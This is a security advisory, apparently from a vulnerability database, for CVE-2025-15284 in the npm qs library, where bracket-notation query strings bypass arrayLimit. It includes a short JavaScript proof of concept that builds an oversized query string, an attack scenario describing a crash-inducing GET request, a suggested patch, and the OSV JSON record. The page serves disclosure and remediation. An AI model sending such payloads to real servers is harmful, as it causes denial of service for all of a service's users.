GHSA-6RW7-VPXM-498P
Vulnerability from github – Published: 2025-12-30 21:02 – Updated: 2025-12-30 21:02Summary
The arrayLimit option in qs does not enforce limits for bracket notation (a[]=1&a[]=2), allowing attackers to cause denial-of-service via memory exhaustion. Applications using arrayLimit for DoS protection are vulnerable.
Details
The arrayLimit option only checks limits for indexed notation (a[0]=1&a[1]=2) but completely bypasses it for bracket notation (a[]=1&a[]=2).
Vulnerable code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
obj = utils.combine([], leaf); // No arrayLimit check
}
Working code (lib/parse.js:175):
else if (index <= options.arrayLimit) { // Limit checked here
obj = [];
obj[index] = leaf;
}
The bracket notation handler at line 159 uses utils.combine([], leaf) without validating against options.arrayLimit, while indexed notation at line 175 checks index <= options.arrayLimit before creating arrays.
PoC
Test 1 - Basic bypass:
npm install qs
const qs = require('qs');
const result = qs.parse('a[]=1&a[]=2&a[]=3&a[]=4&a[]=5&a[]=6', { arrayLimit: 5 });
console.log(result.a.length); // Output: 6 (should be max 5)
Test 2 - DoS demonstration:
const qs = require('qs');
const attack = 'a[]=' + Array(10000).fill('x').join('&a[]=');
const result = qs.parse(attack, { arrayLimit: 100 });
console.log(result.a.length); // Output: 10000 (should be max 100)
Configuration:
- arrayLimit: 5 (test 1) or arrayLimit: 100 (test 2)
- Use bracket notation: a[]=value (not indexed a[0]=value)
Impact
Denial of Service via memory exhaustion. Affects applications using qs.parse() with user-controlled input and arrayLimit for protection.
Attack scenario:
1. Attacker sends HTTP request: GET /api/search?filters[]=x&filters[]=x&...&filters[]=x (100,000+ times)
2. Application parses with qs.parse(query, { arrayLimit: 100 })
3. qs ignores limit, parses all 100,000 elements into array
4. Server memory exhausted → application crashes or becomes unresponsive
5. Service unavailable for all users
Real-world impact: - Single malicious request can crash server - No authentication required - Easy to automate and scale - Affects any endpoint parsing query strings with bracket notation
Suggested Fix
Add arrayLimit validation to the bracket notation handler. The code already calculates currentArrayLength at line 147-151, but it's not used in the bracket notation handler at line 159.
Current code (lib/parse.js:159-162):
if (root === '[]' && options.parseArrays) {
obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
? []
: utils.combine([], leaf); // No arrayLimit check
}
Fixed code:
if (root === '[]' && options.parseArrays) {
// Use currentArrayLength already calculated at line 147-151
if (options.throwOnLimitExceeded && currentArrayLength >= options.arrayLimit) {
throw new RangeError('Array limit exceeded. Only ' + options.arrayLimit + ' element' + (options.arrayLimit === 1 ? '' : 's') + ' allowed in an array.');
}
// If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior)
if (currentArrayLength >= options.arrayLimit) {
obj = options.plainObjects ? { __proto__: null } : {};
obj[currentArrayLength] = leaf;
} else {
obj = options.allowEmptyArrays && (leaf === '' || (options.strictNullHandling && leaf === null))
? []
: utils.combine([], leaf);
}
}
This makes bracket notation behaviour consistent with indexed notation, enforcing arrayLimit and converting to object when limit is exceeded (per README documentation).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "qs"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "6.14.1"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2025-15284"
],
"database_specific": {
"cwe_ids": [
"CWE-20"
],
"github_reviewed": true,
"github_reviewed_at": "2025-12-30T21:02:54Z",
"nvd_published_at": "2025-12-29T23:15:42Z",
"severity": "HIGH"
},
"details": "### Summary\n\nThe `arrayLimit` option in qs does not enforce limits for bracket notation (`a[]=1\u0026a[]=2`), allowing attackers to cause denial-of-service via memory exhaustion. Applications using `arrayLimit` for DoS protection are vulnerable.\n\n### Details\n\nThe `arrayLimit` option only checks limits for indexed notation (`a[0]=1\u0026a[1]=2`) but completely bypasses it for bracket notation (`a[]=1\u0026a[]=2`).\n\n**Vulnerable code** (`lib/parse.js:159-162`):\n```javascript\nif (root === \u0027[]\u0027 \u0026\u0026 options.parseArrays) {\n obj = utils.combine([], leaf); // No arrayLimit check\n}\n```\n\n**Working code** (`lib/parse.js:175`):\n```javascript\nelse if (index \u003c= options.arrayLimit) { // Limit checked here\n obj = [];\n obj[index] = leaf;\n}\n```\n\nThe bracket notation handler at line 159 uses `utils.combine([], leaf)` without validating against `options.arrayLimit`, while indexed notation at line 175 checks `index \u003c= options.arrayLimit` before creating arrays.\n\n### PoC\n\n**Test 1 - Basic bypass:**\n```bash\nnpm install qs\n```\n\n```javascript\nconst qs = require(\u0027qs\u0027);\nconst result = qs.parse(\u0027a[]=1\u0026a[]=2\u0026a[]=3\u0026a[]=4\u0026a[]=5\u0026a[]=6\u0027, { arrayLimit: 5 });\nconsole.log(result.a.length); // Output: 6 (should be max 5)\n```\n\n**Test 2 - DoS demonstration:**\n```javascript\nconst qs = require(\u0027qs\u0027);\nconst attack = \u0027a[]=\u0027 + Array(10000).fill(\u0027x\u0027).join(\u0027\u0026a[]=\u0027);\nconst result = qs.parse(attack, { arrayLimit: 100 });\nconsole.log(result.a.length); // Output: 10000 (should be max 100)\n```\n\n**Configuration:**\n- `arrayLimit: 5` (test 1) or `arrayLimit: 100` (test 2)\n- Use bracket notation: `a[]=value` (not indexed `a[0]=value`)\n\n### Impact\n\nDenial of Service via memory exhaustion. Affects applications using `qs.parse()` with user-controlled input and `arrayLimit` for protection.\n\n**Attack scenario:**\n1. Attacker sends HTTP request: `GET /api/search?filters[]=x\u0026filters[]=x\u0026...\u0026filters[]=x` (100,000+ times)\n2. Application parses with `qs.parse(query, { arrayLimit: 100 })`\n3. qs ignores limit, parses all 100,000 elements into array\n4. Server memory exhausted \u2192 application crashes or becomes unresponsive\n5. Service unavailable for all users\n\n**Real-world impact:**\n- Single malicious request can crash server\n- No authentication required\n- Easy to automate and scale\n- Affects any endpoint parsing query strings with bracket notation\n\n### Suggested Fix\n\nAdd `arrayLimit` validation to the bracket notation handler. The code already calculates `currentArrayLength` at line 147-151, but it\u0027s not used in the bracket notation handler at line 159.\n\n**Current code** (`lib/parse.js:159-162`):\n```javascript\nif (root === \u0027[]\u0027 \u0026\u0026 options.parseArrays) {\n obj = options.allowEmptyArrays \u0026\u0026 (leaf === \u0027\u0027 || (options.strictNullHandling \u0026\u0026 leaf === null))\n ? []\n : utils.combine([], leaf); // No arrayLimit check\n}\n```\n\n**Fixed code**:\n```javascript\nif (root === \u0027[]\u0027 \u0026\u0026 options.parseArrays) {\n // Use currentArrayLength already calculated at line 147-151\n if (options.throwOnLimitExceeded \u0026\u0026 currentArrayLength \u003e= options.arrayLimit) {\n throw new RangeError(\u0027Array limit exceeded. Only \u0027 + options.arrayLimit + \u0027 element\u0027 + (options.arrayLimit === 1 ? \u0027\u0027 : \u0027s\u0027) + \u0027 allowed in an array.\u0027);\n }\n \n // If limit exceeded and not throwing, convert to object (consistent with indexed notation behavior)\n if (currentArrayLength \u003e= options.arrayLimit) {\n obj = options.plainObjects ? { __proto__: null } : {};\n obj[currentArrayLength] = leaf;\n } else {\n obj = options.allowEmptyArrays \u0026\u0026 (leaf === \u0027\u0027 || (options.strictNullHandling \u0026\u0026 leaf === null))\n ? []\n : utils.combine([], leaf);\n }\n}\n```\n\nThis makes bracket notation behaviour consistent with indexed notation, enforcing `arrayLimit` and converting to object when limit is exceeded (per README documentation).",
"id": "GHSA-6rw7-vpxm-498p",
"modified": "2025-12-30T21:02:54Z",
"published": "2025-12-30T21:02:54Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ljharb/qs/security/advisories/GHSA-6rw7-vpxm-498p"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15284"
},
{
"type": "WEB",
"url": "https://github.com/ljharb/qs/commit/3086902ecf7f088d0d1803887643ac6c03d415b9"
},
{
"type": "PACKAGE",
"url": "https://github.com/ljharb/qs"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "qs\u0027s arrayLimit bypass in its bracket notation allows DoS via memory exhaustion"
}
Sightings
| Author | Source | Type | Date |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.